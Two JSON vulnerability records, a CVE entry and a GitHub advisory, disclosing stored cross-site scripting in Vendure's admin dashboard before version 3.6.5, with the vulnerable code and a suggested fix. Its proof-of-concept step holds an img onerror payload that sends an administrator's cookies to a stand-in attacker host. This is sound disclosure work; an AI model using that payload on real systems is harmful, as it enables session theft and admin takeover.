{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vendure",
          "vendor": "vendurehq",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.6.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vendure is an open-source headless commerce platform. Prior to 3.6.5, RichTextDescriptionCell in packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx attempts to strip markup by assigning an administrator-controlled description to a live element\u0027s innerHTML and then reading textContent. Active resource markup can execute an event handler during the innerHTML assignment before textContent is read. A lower-privilege administrator can store such markup in descriptions rendered by the Products list, Collections list, Promotions list, Payment Methods list, or Shipping Methods list, and script executes when another administrator views the affected row. This stored cross-site scripting can compromise the viewing administrator\u0027s session and enable cross-privilege or cross-channel administrative actions. This issue is fixed in version 3.6.5."
    }
  ],
  "id": "CVE-2026-63459",
  "lastModified": "2026-09-17T21:16:02.560",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-17T15:16:49.290",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vendurehq/vendure/commit/d7aa42a3f0cb524297a1a2fdf700e4aba9aca684"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vendurehq/vendure/releases/tag/v3.6.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vendurehq/vendure/security/advisories/GHSA-xhq9-whgq-49j5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vendure/dashboard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:49:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Stored XSS in the Admin Dashboard via unsafe HTML-stripping (`innerHTML`) of entity descriptions\n\n**Package:** @vendure/dashboard (vendure-ecommerce/vendure, latest master) \u00b7 \n\n## Summary\nThe dashboard\u0027s `RichTextDescriptionCell` \"strips HTML\" from an entity\u0027s `description` by assigning it to a live element\u0027s `innerHTML` and reading back `textContent`. This pattern still **executes** active markup: a `description` containing `\u003cimg src=x onerror=\u2026\u003e` runs script when the element is parsed (image resource loads even on a detached node in Chromium/Firefox, firing `onerror`). Because `description` is an admin-settable field shown in multiple list views, a lower-privilege administrator can store a payload that executes in a **higher-privilege administrator\u0027s** browser when they open the corresponding list \u2014 stored XSS leading to admin-session compromise.\n\n## Vulnerable code\n`packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx`\n```tsx\nexport const RichTextDescriptionCell: DataTableCellComponent\u003c{ description: string }\u003e = ({ cell }) =\u003e {\n    const value = cell.getValue();\n    const textContent = useMemo(() =\u003e {\n        if (!value) return \u0027\u0027;\n        const div = document.createElement(\u0027div\u0027);\n        div.innerHTML = value;          // line 51 \u2014 parses/loads active markup; \u003cimg onerror\u003e fires here\n        return div.textContent ?? \u0027\u0027;   // line 52 \u2014 reading textContent does NOT undo the side effect\n    }, [value]);\n    ...\n}\n```\n`innerHTML` does not run `\u003cscript\u003e`, but it **does** trigger resource loads / event handlers such as `\u003cimg src=x onerror=...\u003e`, `\u003cimage\u003e`, `\u003csvg\u003e` handlers \u2014 even on a detached element \u2014 so the assignment itself is the sink. Reading `textContent` afterwards is irrelevant; the handler has already executed.\n\n## Reachable from (all use this cell for the `description` column)\n- `_products/products.tsx:53`, `_collections/collections.tsx`, `_promotions/promotions.tsx:62`, `_payment-methods/payment-methods.tsx:57`, `_shipping-methods/shipping-methods.tsx:39`.\n\nAll of these are `description` fields editable by administrators with the corresponding catalog/promotion/settings write permissions \u2014 which, in Vendure\u0027s multi-channel model, includes **channel-scoped admins**.\n\n## Proof of concept\n1. As an administrator with `UpdateCatalog`/`UpdateProduct` (e.g. a channel-scoped admin), set a Product\u0027s `description` to:\n   `\u003cimg src=x onerror=\"fetch(\u0027https://attacker.example/\u0027+encodeURIComponent(document.cookie))\"\u003e`\n2. Any administrator who opens the **Products** list in the dashboard renders `RichTextDescriptionCell` for that row \u2192 `div.innerHTML = description` \u2192 the `onerror` executes in their session.\n3. Payload runs with the viewing admin\u0027s privileges (e.g. a superadmin) \u2192 session/token exfiltration or admin actions \u2192 **cross-privilege / cross-channel admin takeover** (chains directly with the channel-scoping IDOR class already reported).\n\n## Impact\nStored XSS executing in administrators\u0027 browsers, escalating a low-privilege (e.g. single-channel) admin to actions as any admin who views the affected list. Account/store takeover.\n\n## Suggested fix\nStrip HTML with an **inert** parser (no script/resource execution) instead of a live element, or sanitize before display:\n```ts\n// inert: DOMParser documents do not execute scripts or load resources\nconst textContent = new DOMParser().parseFromString(value ?? \u0027\u0027, \u0027text/html\u0027).body.textContent ?? \u0027\u0027;\n```\n(Or render with a vetted sanitizer such as DOMPurify if rich text must be shown.) Audit the codebase for other `element.innerHTML = \u003cuntrusted\u003e` assignments used for \"stripping\".",
  "id": "GHSA-xhq9-whgq-49j5",
  "modified": "2026-09-17T14:49:35Z",
  "published": "2026-09-17T14:49:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vendurehq/vendure/security/advisories/GHSA-xhq9-whgq-49j5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vendurehq/vendure/commit/d7aa42a3f0cb524297a1a2fdf700e4aba9aca684"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vendurehq/vendure"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vendurehq/vendure/releases/tag/v3.6.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vendure has stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions"
}